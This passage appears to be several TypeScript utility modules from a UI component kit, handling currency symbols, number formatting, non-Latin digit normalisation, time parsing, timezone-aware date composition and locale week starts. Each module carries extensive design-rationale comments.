*/\n\n/** Where a currency symbol sits, and what it wears. */\nexport interface SvCurrencyAffix {\n  /** The symbol as this locale writes it — `$`, `€`, `£`, `CHF`, `৳`. */\n  readonly symbol: string;\n  /** Which side of the number it goes on. */\n  readonly position: 'before' | 'after';\n  /**\n   * The literal between symbol and number — usually `''` or a space.\n   *\n   * ★ Often a NON-BREAKING space (`U+00A0`) or a narrow one (`U+202F`), and\n   *   they are NAMED here rather than embedded: an invisible character in a\n   *   comment shows a reader nothing, and `no-irregular-whitespace` is right\n   *   to refuse one in source even when it is the thing being described.\n   *   that is kept as-is rather than normalised. Replacing it with a plain\n   *   space is how a currency symbol ends up alone on the next line.\n   */\n  readonly spacing: string;\n}\n\n/** What `svCurrencyAffix` returns when it cannot ask the platform. */\nconst UNKNOWN_AFFIX: SvCurrencyAffix = { symbol: '', position: 'before', spacing: '' };\n\n/**\n * How this locale writes a currency amount's symbol.\n *\n * @param locale BCP-47 tag. `''` means \"the runtime's default\".\n * @param currency ISO 4217 code — `'USD'`, `'EUR'`, `'JPY'`.\n *\n * ★★ IT RETURNS AN EMPTY SYMBOL RATHER THAN THROWING on an unknown code.\n *    `Intl.NumberFormat` throws a `RangeError` for a currency code that is not\n *    three letters, and a component that propagates that renders nothing at all\n *    because of a typo in one input. An empty symbol degrades to a plain number,\n *    which is wrong in a way the developer can see.\n */\nexport function svCurrencyAffix(locale: string, currency: string): SvCurrencyAffix {\n  if (!currency) return UNKNOWN_AFFIX;\n  let parts: Intl.NumberFormatPart[];\n  try {\n    parts = new Intl.NumberFormat(locale || undefined, {\n      style: 'currency',\n      currency,\n    }).formatToParts(1);\n  } catch {\n    return UNKNOWN_AFFIX;\n  }\n\n  const symbolAt = parts.findIndex((p) => p.type === 'currency');\n  const numberAt = parts.findIndex((p) => p.type === 'integer');\n  if (symbolAt === -1 || numberAt === -1) return UNKNOWN_AFFIX;\n\n  const position = symbolAt < numberAt ? 'before' : 'after';\n  // The literal that sits between them, if any. `formatToParts` reports it as\n  // its own `literal` part, which is the only place the non-breaking space is\n  // visible — reading it back out of a formatted string would lose it.\n  const between = position === 'before' ? parts[symbolAt + 1] : parts[symbolAt - 1];\n  const spacing = between?.type === 'literal' ? between.value : '';\n\n  return { symbol: parts[symbolAt].value, position, spacing };\n}\n\n/**\n * A number as this locale writes it — separators, grouping and digits.\n *\n * ★★ FOR ANNOUNCEMENT AND DISPLAY, NOT FOR AN `<input type=\"number\">`. That\n *    element's IDL value is canonical by specification: `.` for the decimal, no\n *    grouping, and `''` for anything it cannot parse. So a component using one\n *    **cannot** put `1.234,50` in the box, and pretending otherwise produces an\n *    empty field. What it CAN localise is the string it builds itself — the\n *    `aria-valuetext` a screen reader announces — and that is what this is for.\n *\n * ⚠️ `''` LOCALE MEANS \"DO NOT LOCALISE\", NOT \"USE THE BROWSER'S\". Defaulting a\n *    published component to the browser's locale would change what every\n *    existing caller renders the day they upgrade — a US app on a German\n *    laptop would start announcing commas. Opting in is the only version of\n *    this that is not a silent behaviour change, and the default is a\n *    compatibility decision rather than a claim that en-US is neutral.\n */\nexport function svFormatNumber(value: number, decimals: number, locale: string): string {\n  if (!Number.isFinite(value)) return '';\n  if (!locale) return value.toFixed(decimals);\n  try {\n    return new Intl.NumberFormat(locale, {\n      minimumFractionDigits: decimals,\n      maximumFractionDigits: decimals,\n    }).format(value);\n  } catch {\n    // An invalid tag is a developer mistake, not a user-facing failure.\n    return value.toFixed(decimals);\n  }\n}\n","/**\n * Reading the digits somebody actually typed.\n *\n * ── The defect this exists for (`FI-16-I3`) ─────────────────────────────────\n *\n * ★★★ `replace(/\\D/g, '')` DOES NOT STRIP PUNCTUATION FROM A CODE. IT STRIPS\n *     THE CODE. `\\d` is ASCII `0`–`9` and nothing else, so a one-time code\n *     typed on an Arabic, Bengali, Devanagari, Thai or Burmese keypad comes out\n *     as the **empty string**. Measured, all of these produce `''`:\n *\n *         ١٢٣٤٥٦   Arabic-Indic\n *         ১২৩৪৫৬   Bengali\n *         १२३४५६   Devanagari\n *         １２３４５６   fullwidth (what a Japanese IME emits)\n *\n *     The user types their six digits, watches the field stay empty, and has no\n *     way to know why. There is no error, no fallback and no workaround short\n *     of switching keyboards — and the people it happens to are the ones least\n *     likely to be in anybody's test matrix.\n *\n * ★★ THE BACKLOG SAID \"NON-LATIN DIGITS ARE NOT HANDLED\". They are worse than\n *    unhandled: they are actively deleted by a line that reads like it is\n *    removing spaces and dashes.\n *\n * ── ★★★ WHY THERE IS NO TABLE OF DIGIT SETS HERE ───────────────────────────\n *\n * A list of zero code points — U+0660 for Arabic-Indic, U+09E6 for Bengali, and\n * so on — is correct on the day it is written and incomplete on the day Unicode\n * adds a script. Incomplete in exactly the same silent way as the bug being\n * fixed, for exactly the same users.\n *\n * Unicode's own structure answers it instead. Every character in category `Nd`\n * belongs to a run of ten consecutive code points beginning at that set's zero,\n * so a digit's VALUE is how far it sits from the first `Nd` character below it.\n * Walking back at most nine code points is the whole algorithm, it needs no\n * data of its own, and it is right for a script that does not exist yet.\n */\n\n/** Memoised: code point of a digit → its value, so the walk happens once per run. */\nconst VALUE_CACHE = new Map<number, number>();\n\nconst IS_DIGIT = /\\p{Nd}/u;\n\n/**\n * The numeric value of a single decimal digit in any script, or `-1`.\n *\n * ★ Bounded at ten steps by construction: a `Nd` run is exactly ten long, so a\n *   value is never more than nine away from its zero. A character that walks\n *   further than that is not in a well-formed run and is refused rather than\n *   guessed at.\n */\nexport function svDigitValue(character: string): number {\n  if (!character || !IS_DIGIT.test(character)) return -1;\n  const cp = character.codePointAt(0)!;\n  const cached = VALUE_CACHE.get(cp);\n  if (cached !== undefined) return cached;\n\n  for (let back = 0; back <= 9; back++) {\n    const below = cp - back - 1;\n    if (below < 0 || !IS_DIGIT.test(String.fromCodePoint(below))) {\n      VALUE_CACHE.set(cp, back);\n      return back;\n    }\n  }\n  return -1;\n}\n\n/**\n * Every decimal digit in `text`, in order, as ASCII. Everything else is dropped.\n *\n * The drop-in replacement for `replace(/\\D/g, '')` — same result for ASCII\n * input, and a result at all for everyone else.\n *\n * ★★ `Array.from` RATHER THAN A `for` OVER INDICES, because the mathematical\n *    digit sets live in the astral planes and a surrogate pair read as two\n *    characters is two non-digits.\n *\n * ⚠️ IT NORMALISES TO ASCII RATHER THAN PRESERVING THE SCRIPT, and that is the\n *    right way round for this job: the value goes to a server, into a\n *    comparison, or into `Number()`, and every one of those wants `123456`. The\n *    place to put the user's own digits back is the DISPLAY, which is a\n *    separate decision made where it can see the locale.\n */\nexport function svDigitsOnly(text: string): string {\n  if (!text) return '';\n  // ★ The common case, taken without allocating: an ASCII-only string is what\n  //   the overwhelming majority of input is, and this runs on every keystroke.\n  if (!/[^\\x20-\\x7E]/.test(text)) return text.replace(/\\D/g, '');\n\n  let out = '';\n  for (const character of Array.from(text)) {\n    const value = svDigitValue(character);\n    if (value >= 0) out += String(value);\n  }\n  return out;\n}\n\n/**\n * Every decimal digit in `text` rewritten as ASCII, with everything else left\n * exactly where it was.\n *\n * The sibling of `svDigitsOnly` for the case where the SHAPE of the text still\n * matters — a time, a date, a version — and only the digits need normalising.\n * `svDigitsOnly('١٤:٣٠')` is `'1430'`, which has lost the colon that says which\n * half is hours; this returns `'14:30'`.\n *\n * ⚠️ Separators are NOT normalised. An Arabic decimal separator or a fullwidth\n *    colon is a different character from `.` or `:` and stays one — deciding\n *    which punctuation a given field accepts is the field's job, not this\n *    function's, and quietly rewriting `٬` to `,` would be a guess about intent.\n */\nexport function svNormalizeDigits(text: string): string {\n  if (!text) return '';\n  // Same fast path as `svDigitsOnly`: ASCII input is already normalised.\n  if (!/[^\\x20-\\x7E]/.test(text)) return text;\n\n  let out = '';\n  for (const character of Array.from(text)) {\n    const value = svDigitValue(character);\n    out += value >= 0 ? String(value) : character;\n  }\n  return out;\n}\n","import { svNormalizeDigits } from './digits';\n\n/**\n * Reading a time somebody typed.\n *\n * ── The defect this exists for (`FI-28-I1` / `FI-28-M1`) ────────────────────\n *\n * ★★★ `sv-time-picker` HAD NO TEXT INPUT AT ALL. The trigger is a `<button>`\n *     and the panel is three scrolling columns of `<button>`s — measured, with\n *     `format=\"24h\"` and `withSeconds`, **146 tab stops**, of which minute `37`\n *     is the **61st**. Setting 14:37:00 by keyboard meant holding Tab through\n *     sixty-one controls, because there is no arrow-key navigation either: the\n *     document order IS the navigation.\n *\n * ★★ THE BACKLOG CALLED THIS \"cumbersome\". It is not cumbersome, it is the\n *    difference between a control a keyboard user can operate and one they\n *    cannot — and the same 146 stops are 146 swipes for a screen-reader user\n *    moving by form control.\n *\n * ── ★★★ WHY THE PARSER RETURNS PARTS AND NOT A TIME ─────────────────────────\n *\n * `2:30` is not a time. In a 12-hour control it is two times, and only the\n * component knows which — it has the AM/PM the user last chose, and this\n * function does not. A parser that guessed would be right half the time and\n * silent about it, which is exactly the failure mode of the thing it replaces.\n *\n * So `svParseTime` reports what the TEXT SAID, including `period: null` for\n * \"it said nothing\", and `svResolveHour24` applies a fallback the caller\n * supplies. Two functions, and the ambiguity is visible in the type.\n */\n\nexport interface SvParsedTime {\n  /** Hour exactly as written — `0`–`23`, or `1`–`12` when a period was named. */\n  readonly hour: number;\n  readonly minute: number;\n  readonly second: number;\n  /** The day period the text named, or `null` when it named none. */\n  readonly period: 'AM' | 'PM' | null;\n}\n\n/**\n * Day-period markers, as a prefix test rather than a table of every locale.\n *\n * ★ The Latin ones cover `am`/`a.m.`/`AM`; `ص`/`م` are Arabic, `午前`/`午後`\n *   Japanese and `오전`/`오후` Korean — the four scripts where a day period is\n *   NOT a Latin abbreviation and where a user typing on their own keyboard\n *   produces something `/am|pm/i` cannot see. This is not exhaustive and does\n *   not pretend to be: `FI-28-M4` is the locale-complete version, and until it\n *   lands an unrecognised marker means `period: null`, which is the same answer\n *   as typing no marker — a fallback, never a wrong time.\n */\nconst AM_MARKERS = ['am', 'a.m.', 'a', 'ص', '午前', '오전'];\nconst PM_MARKERS = ['pm', 'p.m.', 'p', 'م', '午後', '오후'];\n\n/**\n * ★★★ `م` IS A PREFIX OF NOTHING AND A SUFFIX OF EVERYTHING, so the Arabic\n *     markers are matched last and only against what is left after the digits.\n *     Checking `'a'` before `'am'` would read \"am\" as AM plus a stray `m`,\n *     which is harmless, but checking `'ص'` against a string still containing\n *     digits is not. Longest first, on the residue only.\n */\nfunction readPeriod(rest: string): 'AM' | 'PM' | null {\n  const t = rest.trim().toLowerCase();\n  if (!t) return null;\n  for (const m of [...PM_MARKERS].sort((a, b) => b.length - a.length)) {\n    if (t === m) return 'PM';\n  }\n  for (const m of [...AM_MARKERS].sort((a, b) => b.length - a.length)) {\n    if (t === m) return 'AM';\n  }\n  return null;\n}\n\n/**\n * Parse a typed time into its parts, or `null` when the text is not a time.\n *\n * Accepts, measured against the forms real users type:\n *\n *     14:30   14.30   14:30:15   1430   143015   2:30 PM   2:30pm   2 pm\n *     ٢:٣٠ م  (Arabic-Indic digits and marker)   １４：３０ (fullwidth)\n *\n * ⚠️ IT RETURNS `null` RATHER THAN A BEST GUESS. `25:00` and `12:61` are not\n *    clamped to `23:59` and `12:59`: a control that silently rewrites what\n *    somebody typed teaches them their typing was accepted. The caller shows\n *    the field as invalid and leaves the text alone to be corrected.\n *\n * ★★ DIGITS ARE NORMALISED, SEPARATORS ARE NOT. `svNormalizeDigits` handles the\n *    Arabic, Bengali, Devanagari and fullwidth digit sets (`FI-16-I3`), but a\n *    fullwidth colon `：` is a separator, and separators are matched explicitly\n *    below so that the set this field accepts is written down rather than\n *    inferred.\n */\nexport function svParseTime(text: string): SvParsedTime | null {\n  const raw = svNormalizeDigits(String(text ?? '')).trim();\n  if (!raw) return null;\n\n  // Split the digits-and-separators head from whatever trails it, so the period\n  // marker is read from the residue rather than pattern-matched inside the time.\n  const m = /^([\\d\\s:.：：]+)(.*)$/u.exec(raw);\n  if (!m) return null;\n\n  const head = m[1].replace(/[：：]/gu, ':').replace(/\\./g, ':').trim();\n  const period = readPeriod(m[2]);\n  if (m[2].trim() && period === null) return null; // trailing text that is not a period\n\n  let parts: string[];\n  if (head.includes(':')) {\n    parts = head.split(':').map((p) => p.trim());\n  } else {\n    // ★ The bare-digits forms. `1430` and `143015` are what a fast typist and a\n    //   barcode-style paste both produce; `14` alone is a whole hour.\n    const d = head.replace(/\\s+/g, '');\n    if (!/^\\d+$/.test(d)) return null;\n    if (d.length <= 2) parts = [d];\n    else if (d.length === 3) parts = [d.slice(0, 1), d.slice(1)];\n    else if (d.length === 4) parts = [d.slice(0, 2), d.slice(2)];\n    else if (d.length === 5) parts = [d.slice(0, 1), d.slice(1, 3), d.slice(3)];\n    else if (d.length === 6) parts = [d.slice(0, 2), d.slice(2, 4), d.slice(4)];\n    else return null;\n  }\n  if (parts.length > 3) return null;\n  /**\n   * ★★ THIS ALSO REJECTS THE HALF-TYPED TIME, and that is worth saying because\n   *    an explicit `parts.some(p => p === '')` guard used to sit above it. The\n   *    guard was redundant — `''` fails `\\d{1,2}` — and a fire-test proved it:\n   *    deleting the guard changed no test, while deleting THIS line turns the\n   *    \"refuses a half-typed time\" case red. A second check that no test can\n   *    distinguish from the first is the kind of line somebody later removes as\n   *    dead, correctly, and then nobody remembers what it was for.\n   *\n   *    What it means: `14:` splits to `['14', '']`, and reading that as 14:00\n   *    would commit a value the user has not finished choosing — on every\n   *    keystroke, since this runs as they type.\n   */\n  if (!parts.every((p) => /^\\d{1,2}$/.test(p))) return null;\n\n  const hour = Number(parts[0]);\n  const minute = parts.length > 1 ? Number(parts[1]) : 0;\n  const second = parts.length > 2 ? Number(parts[2]) : 0;\n\n  if (minute > 59 || second > 59) return null;\n  // With a period named, the hour is a 12-hour hour and 0 is not one of them.\n  if (period !== null && (hour < 1 || hour > 12)) return null;\n  if (period === null && hour > 23) return null;\n\n  return { hour, minute, second, period };\n}\n\n/**\n * The 24-hour hour a parsed time means, given what the control already shows.\n *\n * @param fallback the period to assume when the text named none AND the hour\n *   could be either — `null` reads a bare `1`–`12` as a 24-hour hour.\n *\n * ★★★ THE `12` CASES ARE THE ONES THAT GO WRONG. 12 AM is `00` and 12 PM is\n *     `12`, which is the opposite of the `+12` rule that works for every other\n *     hour. Both have their own test.\n *\n * ⚠️ A bare hour ABOVE 12 is unambiguous and the fallback is ignored: somebody\n *    typing `14:30` into a 12-hour control while it shows AM means 14:30, not\n *    02:30. Honouring the fallback there would make the control disagree with\n *    the only unambiguous thing the user could have done.\n */\nexport function svResolveHour24(parsed: SvParsedTime, fallback: 'AM' | 'PM' | null): number {\n  const period = parsed.period ?? (parsed.hour >= 1 && parsed.hour <= 12 ? fallback : null);\n  if (period === null) return parsed.hour;\n  if (period === 'AM') return parsed.hour === 12 ? 0 : parsed.hour;\n  return parsed.hour === 12 ? 12 : parsed.hour + 12;\n}\n\n/** `'HH:mm'`, or `'HH:mm:ss'` when `withSeconds`. */\nexport function svFormatTime(hour: number, minute: number, second: number, withSeconds = false): string {\n  const p = (n: number): string => String(n).padStart(2, '0');\n  return withSeconds ? `${p(hour)}:${p(minute)}:${p(second)}` : `${p(hour)}:${p(minute)}`;\n}\n","/**\n * Putting a calendar date and a wall-clock time together, in a real timezone.\n *\n * ── The defect this exists for (`FI-28-I2` / `FI-28-M2`) ────────────────────\n *\n * ★★★ `sv-date-picker` HOLDS A CALENDAR DATE AND `sv-time-picker` HOLDS A\n *     WALL-CLOCK TIME. Neither is an instant, and the kit said so about\n *     neither — so a host composing the two reached for\n *     `new Date(\\`${date}T${time}\\`)`, which is an instant in the BROWSER'S\n *     zone, silently, and a booking made in London reads an hour out in Dublin.\n *\n * ★★★ AND THE COMPOSITION IS NOT ALWAYS POSSIBLE. A wall-clock time is not a\n *     bijection with an instant twice a year:\n *\n *       • **The gap.** London, 2026-03-29: the clocks go 01:00 → 02:00, so\n *         **01:30 does not exist that day**. `new Date('2026-03-29T01:30')`\n *         does not throw — it silently returns 02:30, an hour the user did not\n *         choose, and the appointment moves.\n *       • **The overlap.** London, 2026-10-25: the clocks go 02:00 → 01:00, so\n *         **01:30 happens twice**, an hour apart. One of them is right and the\n *         constructor picks one without telling you which.\n *\n * ★★ THE TRANSITION IS NOT ALWAYS AN HOUR. Measured for 2026:\n *      Europe/London     2026-03-29T01:00Z  +0 → +60    (gap 01:00–01:59)\n *      America/New_York  2026-03-08T07:00Z  -300 → -240 (gap 02:00–02:59)\n *      Australia/Lord_Howe 2026-10-03T15:30Z +630 → +660  — **a 30-MINUTE gap,\n *        02:00–02:29** — and 2026-04-04T15:00Z +660 → +630, a 30-minute overlap.\n *    Any implementation that assumes a one-hour shift is wrong on Lord Howe and\n *    nowhere else, which is exactly the kind of wrong that ships.\n *\n * ── ★★★ WHY THERE IS NO TIMEZONE DATABASE HERE ─────────────────────────────\n *\n * `Intl.DateTimeFormat` already carries the IANA rules the platform ships and\n * keeps updated. The only thing missing is the inverse direction — wall clock\n * back to instant — and that is arithmetic over two probes, not data. A bundled\n * offset table would be wrong the first time a government moves a transition,\n * which several do every year and usually at short notice.\n */\n\n/**\n * The UTC offset in effect at `instant`, in minutes EAST of UTC.\n *\n * `+330` is Asia/Kolkata, `-300` is New York in winter — the opposite sign\n * convention from `Date#getTimezoneOffset()`, and deliberately so: this returns\n * what the zone's name means (\"UTC+05:30\"), rather than what has to be\n * subtracted to get back to UTC.\n *\n * ★ Reads the parts back out of a formatter and re-assembles them as if they\n *   were UTC. The difference between that and the real instant IS the offset;\n *   there is no API that reports it directly.\n */\n/**\n * One formatter per zone, kept.\n *\n * ★★★ `new Intl.DateTimeFormat` IS THE EXPENSIVE PART OF THIS FILE, BY A LARGE\n *     MARGIN — it resolves a locale and loads the zone's transition table — and\n *     it was being constructed on **every call**. `svComposeDateTime` probes\n *     the offset several times per composition, so a calendar laying out a\n *     month of slots built hundreds of them to answer a question whose answer\n *     was already in the first one.\n *\n * ★ Safe to share: `formatToParts` is pure, the instance carries no per-call\n *   state, and the options are fixed here rather than taken from the caller.\n *   Same shape as `VALUE_CACHE` in `digits.ts`.\n *\n * ⚠️ Unbounded in principle and bounded in practice: the key space is the IANA\n *    zone list (~600), an application uses a handful of them, and the values\n *    are shared platform objects. There is no eviction because there is nothing\n *    to evict — a cache that can hold every possible key is not a leak.\n */\nconst ZONE_FORMATTERS = new Map<string, Intl.DateTimeFormat>();\n\nfunction zoneFormatter(timeZone: string): Intl.DateTimeFormat {\n  const cached = ZONE_FORMATTERS.get(timeZone);\n  if (cached !== undefined) return cached;\n\n  const made = new Intl.DateTimeFormat('en-US', {\n    timeZone,\n    hourCycle: 'h23',\n    year: 'numeric', month: '2-digit', day: '2-digit',\n    hour: '2-digit', minute: '2-digit', second: '2-digit',\n  });\n  ZONE_FORMATTERS.set(timeZone, made);\n  return made;\n}\n\nexport function svZoneOffsetMinutes(instant: Date | number, timeZone: string): number {\n  const ms = typeof instant === 'number' ? instant : instant.getTime();\n  const parts = zoneFormatter(timeZone).formatToParts(new Date(ms));\n\n  const f: Record<string, string> = {};\n  for (const p of parts) f[p.type] = p.value;\n\n  // ⚠️ `hourCycle: 'h23'` and not `hour12: false`. The latter still yields \"24\"\n  //    for midnight on some ICU builds, which reassembles as the next day and\n  //    puts the offset out by 24 hours for exactly one minute a day.\n  const asIfUtc = Date.UTC(\n    Number(f['year']), Number(f['month']) - 1, Number(f['day']),\n    Number(f['hour']), Number(f['minute']), Number(f['second']),\n  );\n  return Math.round((asIfUtc - ms) / 60000);\n}\n\nexport type SvWallClockStatus = 'ok' | 'gap' | 'ambiguous';\n\nexport interface SvComposedDateTime {\n  /**\n   * `ok` — one instant. `gap` — the wall clock does not exist that day.\n   * `ambiguous` — it happens twice.\n   */\n  readonly status: SvWallClockStatus;\n  /**\n   * The instant, or the FIRST of the two when ambiguous (the earlier offset,\n   * i.e. before the clocks went back). `null` only when `status` is `gap`.\n   */\n  readonly instant: Date | null;\n  /** Both candidates when ambiguous; a single entry when `ok`; empty on a gap. */\n  readonly instants: readonly Date[];\n  /** Offset in minutes east of UTC for `instant`, or `null` on a gap. */\n  readonly offsetMinutes: number | null;\n  /**\n   * On a `gap`, the instant the clocks jumped TO — what the wall clock the user\n   * asked for becomes if you push it forward past the transition.\n   *\n   * ⚠️ OFFERED, NOT APPLIED. Silently advancing is what `new Date()` already\n   *    does and is the behaviour this function exists to make visible. A host\n   *    that wants it can take it; a booking flow should probably say \"that hour\n   *    does not exist on this date\" instead.\n   */\n  readonly gapResolution: Date | null;\n}\n\n/**\n * Compose a `'YYYY-MM-DD'` and an `'HH:mm'`/`'HH:mm:ss'` into an instant.\n *\n * @param timeZone IANA zone. Omit it and the composition is done in the\n *   RUNTIME's zone, which is what a host gets from `new Date()` anyway — but\n *   the gap and overlap are still reported, which is the part that was missing.\n *\n * ★★★ THE ALGORITHM PROBES EITHER SIDE OF THE DAY, NOT THE WALL CLOCK ITSELF,\n *     and the difference is the whole correctness of the overlap case.\n *\n *     The obvious version — read the wall clock as if it were UTC, ask the\n *     offset there, subtract, ask again, subtract again — **finds gaps\n *     correctly and misses every overlap**, which is why it looks right. Its\n *     two probes land on the same side of the transition: for London on\n *     2026-10-25 at 01:30, both probes report GMT, both candidates are the same\n *     instant, and the second real 01:30 — the BST one, an hour earlier — is\n *     never generated to be checked. `status: 'ok'`, silently, for the exact\n *     hour the function exists to flag. Caught by this module's own spec, which\n *     is the argument for asserting the overlap separately from the gap.\n *\n *     So: take the offset a DAY BEFORE and a DAY AFTER, which straddles any\n *     transition in between, and subtract each from the wall clock to get one\n *     candidate per side. Then verify each by formatting it back — both\n *     surviving means the hour happens twice, neither means it does not happen\n *     at all, one means an ordinary day.\n *\n * ⚠️ ±24 h IS SAFE BECAUSE NO ZONE TRANSITIONS TWICE IN A DAY, and offsets move\n *    by at most a couple of hours when they do. It is not safe to narrow it to\n *    the transition's own size, because that size is what we are trying to\n *    discover.\n */\nexport function svComposeDateTime(\n  date: string,\n  time: string,\n  timeZone?: string,\n): SvComposedDateTime {\n  const none: SvComposedDateTime = {\n    status: 'gap', instant: null, instants: [], offsetMinutes: null, gapResolution: null,\n  };\n\n  const d = /^(\\d{4})-(\\d{2})-(\\d{2})$/.exec((date ?? '').trim());\n  const t = /^(\\d{1,2}):(\\d{2})(?::(\\d{2}))?$/.exec((time ?? '').trim());\n  if (!d || !t) return none;\n\n  const [Y, Mo, D] = [Number(d[1]), Number(d[2]) - 1, Number(d[3])];\n  const [H, Mi, S] = [Number(t[1]), Number(t[2]), Number(t[3] ?? '0')];\n  if (Mo > 11 || D > 31 || H > 23 || Mi > 59 || S > 59) return none;\n\n  const zone = timeZone || Intl.DateTimeFormat().resolvedOptions().timeZone;\n  const wallAsUtc = Date.UTC(Y, Mo, D, H, Mi, S);\n\n  const probe = (ms: number): number => svZoneOffsetMinutes(ms, zone);\n  const DAY = 86_400_000;\n\n  // One candidate per side of any transition inside this day.\n  const before = wallAsUtc - probe(wallAsUtc - DAY) * 60000;\n  const after = wallAsUtc - probe(wallAsUtc + DAY) * 60000;\n\n  /** Does this instant actually show the wall clock we were asked for? */\n  const shows = (ms: number): boolean => wallAsUtc - probe(ms) * 60000 === ms;\n\n  const candidates = before === after ? [before] : [before, after];\n  const real = [...new Set(candidates.filter(shows))].sort((a, b) => a - b);\n\n  if (real.length === 0) {\n    /**\n     * ★★ THE GAP. The requested wall clock is inside the jump. `gapResolution`\n     *    is where the clock lands if you push through it — computed from the\n     *    LATER offset rather than by adding an hour, because Lord Howe's jump\n     *    is thirty minutes and the next zone to change its rules might be\n     *    neither.\n     */\n    return { ...none, gapResolution: new Date(Math.max(before, after)) };\n  }\n\n  if (real.length === 1) {\n    return {\n      status: 'ok',\n      instant: new Date(real[0]),\n      instants: [new Date(real[0])],\n      offsetMinutes: probe(real[0]),\n      gapResolution: null,\n    };\n  }\n\n  // ★★ THE OVERLAP. Two real instants an offset-difference apart. The earlier\n  //    one is returned as `instant` — it is the reading before the clocks went\n  //    back, which is what a user writing \"01:30\" on that date almost always\n  //    means, because they wrote it while living through the first one.\n  return {\n    status: 'ambiguous',\n    instant: new Date(real[0]),\n    instants: real.map((ms) => new Date(ms)),\n    offsetMinutes: probe(real[0]),\n    gapResolution: null,\n  };\n}\n","/**\n * Which day the week starts on, and what the columns are called.\n *\n * ── The defect this exists for (`FI-09-M2`) ─────────────────────────────────\n *\n * ★★★ THE CALENDAR STARTED ON MONDAY, FOR EVERYONE, AND SAID `'Mo'`. Both\n *     halves were constants: `WEEKDAYS = ['Mo', …, 'Su']` and a\n *     `mondayOffset` in the grid builder. So an American opening a date picker\n *     found the columns shifted by one from every other calendar on their\n *     machine, and an Arabic or Hebrew reader found them shifted by two and\n *     labelled in a language they were not using.\n *\n * ★★ A WEEK-START BUG IS NOT A COSMETIC ONE, WHICH IS WHY IT IS WORTH A FILE.\n *    A calendar is read by column position before it is read by number — that\n *    is what the grid is for — so a Sunday-first reader looking at a\n *    Monday-first grid picks the wrong date, confidently, and the component\n *    reports exactly what they clicked. Nothing is inconsistent; the user is\n *    just wrong about which day they chose.\n *\n * ★★ MEASURED FIRST DAYS: `en-US` Sunday, `en-GB` Monday, `de-DE` Monday,\n *    `ja-JP` Sunday, `he-IL` Sunday, `ar-EG` **Saturday**. Three different\n *    answers in six locales, so there is no majority to default to and no\n *    excuse for a constant.\n *\n * ⚠️ Nothing here is a table. `Intl.Locale.prototype.getWeekInfo()` is CLDR's\n *    own answer, and the labels come from `Intl.DateTimeFormat`.\n */\n\n/**\n * The locale's first weekday as a JS `Date#getDay()` index — `0` is Sunday.\n *\n * @param locale BCP-47 tag. `''` returns `1` (Monday).\n *\n * ⚠️ `''` MEANS \"KEEP MONDAY\", NOT \"ASK THE BROWSER\". The calendars in this kit\n *    shipped Monday-first; defaulting to the runtime's locale would move every\n *    existing caller's columns on upgrade, which is a change a host should make\n *    on purpose rather than discover.\n *\n * ★ `getWeekInfo()` reports ISO numbering (Monday `1` … Sunday `7`) and this\n *   returns JS numbering (Sunday `0` … Saturday `6`). The conversion is `% 7`,\n *   and it is the single most likely place for this to be quietly wrong —\n *   Sunday is `7` in one scheme and `0` in the other, so an implementation that\n *   forgets it is correct for six days a week.\n */\nexport function svFirstDayOfWeek(locale: string): number {\n  if (!locale) return 1;\n  try {\n    const info = new Intl.Locale(locale) as Intl.Locale & {\n      getWeekInfo?: () => { firstDay: number };\n      weekInfo?: { firstDay: number };\n    };\n    // `getWeekInfo()` is the standardised form; `weekInfo` was the earlier\n    // property and is still what some engines expose.\n    const first = info.getWeekInfo?.().firstDay ?? info.weekInfo?.firstDay;\n    if (typeof first !== 'number' || first < 1 || first > 7) return 1;\n    return first % 7;\n  } catch {\n    // An invalid tag is a developer mistake, not a user-facing failure.\n    return 1;\n  }\n}\n\n/**\n * The seven column headings, starting at `firstDay`, as the locale writes them.\n *\n * @param locale `''` keeps the kit's original two-letter English headings.\n * @param firstDay JS index, `0` = Sunday.\n *\n * ★★ THE REFERENCE WEEK IS BUILT IN UTC AND FORMATTED IN UTC — the same zone on\n *    both sides. Naming a weekday means picking a real date and asking what day\n *    it was, so mixing the two rotates the headings by one. There are two ways\n *    to mix them and they break in OPPOSITE hemispheres:\n *\n *      build LOCAL, format UTC → wrong EAST of Greenwich (local midnight\n *        2023-01-01 in Tokyo is 2022-12-31T15:00Z).\n *      build UTC, format LOCAL → wrong WEST of Greenwich (UTC midnight\n *        2023-01-01 in Marquesas is 2022-12-31 14:30 local).\n *\n * ⚠️ SO THE SUITE'S PINNED Pacific/Marquesas (−09:30) CATCHES ONLY THE SECOND.\n *    An implementation making the first mistake would be green there and broken\n *    for every user east of Greenwich. `week.spec.ts` therefore branches on the\n *    sign of the offset and asserts both mixes, rather than trusting the pin.\n */\nexport function svWeekdayLabels(\n  locale: string,\n  firstDay: number,\n  width: 'narrow' | 'short' = 'short',\n): string[] {\n  const start = ((firstDay % 7) + 7) % 7;\n  if (!locale) {\n    const EN = ['Su', 'Mo', 'Tu', 'We', 'Th', 'Fr', 'Sa'];\n    return Array.from({ length: 7 }, (_, i) => EN[(start + i) % 7]);\n  }\n  try {\n    const format = new Intl.DateTimeFormat(locale, { weekday: width, timeZone: 'UTC' });\n    // 2023-01-01 was a Sunday, in UTC, which makes the offset arithmetic below\n    // read as the weekday index it is.\n    return Array.from({ length: 7 }, (_, i) =>\n      format.format(new Date(Date.UTC(2023, 0, 1 + ((start + i) % 7)))),\n    );\n  } catch {\n    const EN = ['Su', 'Mo', 'Tu', 'We', 'Th', 'Fr', 'Sa'];\n    return Array.from({ length: 7 }, (_, i) => EN[(start + i) % 7]);\n  }\n}\n","/**\n * ============================================================================\n *  The kit's date-value policy (`FI-09-M1`)\n * ============================================================================\n *\n *  -- THE QUESTION, AND WHY IT IS THE MOST CONSEQUENTIAL ONE IN THE FAMILY --\n *\n *  A `Date` object is an INSTANT: a count of milliseconds, rendered through\n *  whatever zone happens to be reading it. A birthday is not an instant. It is\n *  the same date everywhere on Earth, and storing it as a `Date` means the\n *  value shifts across midnight for half the planet. Until the value type is\n *  stated, every consumer picks a different interpretation and they disagree\n *  silently.\n *\n *  -- THE ANSWER, WHICH THE CODE ALREADY GAVE -------------------------------\n *\n *  **A CALENDAR DATE, AS `YYYY-MM-DD`.** `sv-date-picker` has always been\n *  `model<string>`, never a `Date`, and every comparison in it is on the key\n *  string rather than on a timestamp. `sv-time-picker` is the same shape for\n *  wall-clock time (`HH:mm`). This module does not change that decision; it\n *  names it, makes it checkable at runtime, and puts the one conversion that\n *  genuinely needs a time zone behind a function that asks for one.\n *\n *  Not \"both\". A second, zoned value type would mean every consumer asking\n *  which one it has, and the failure mode of getting that wrong is silent. A\n *  host that needs an instant composes one deliberately with\n *  {@link 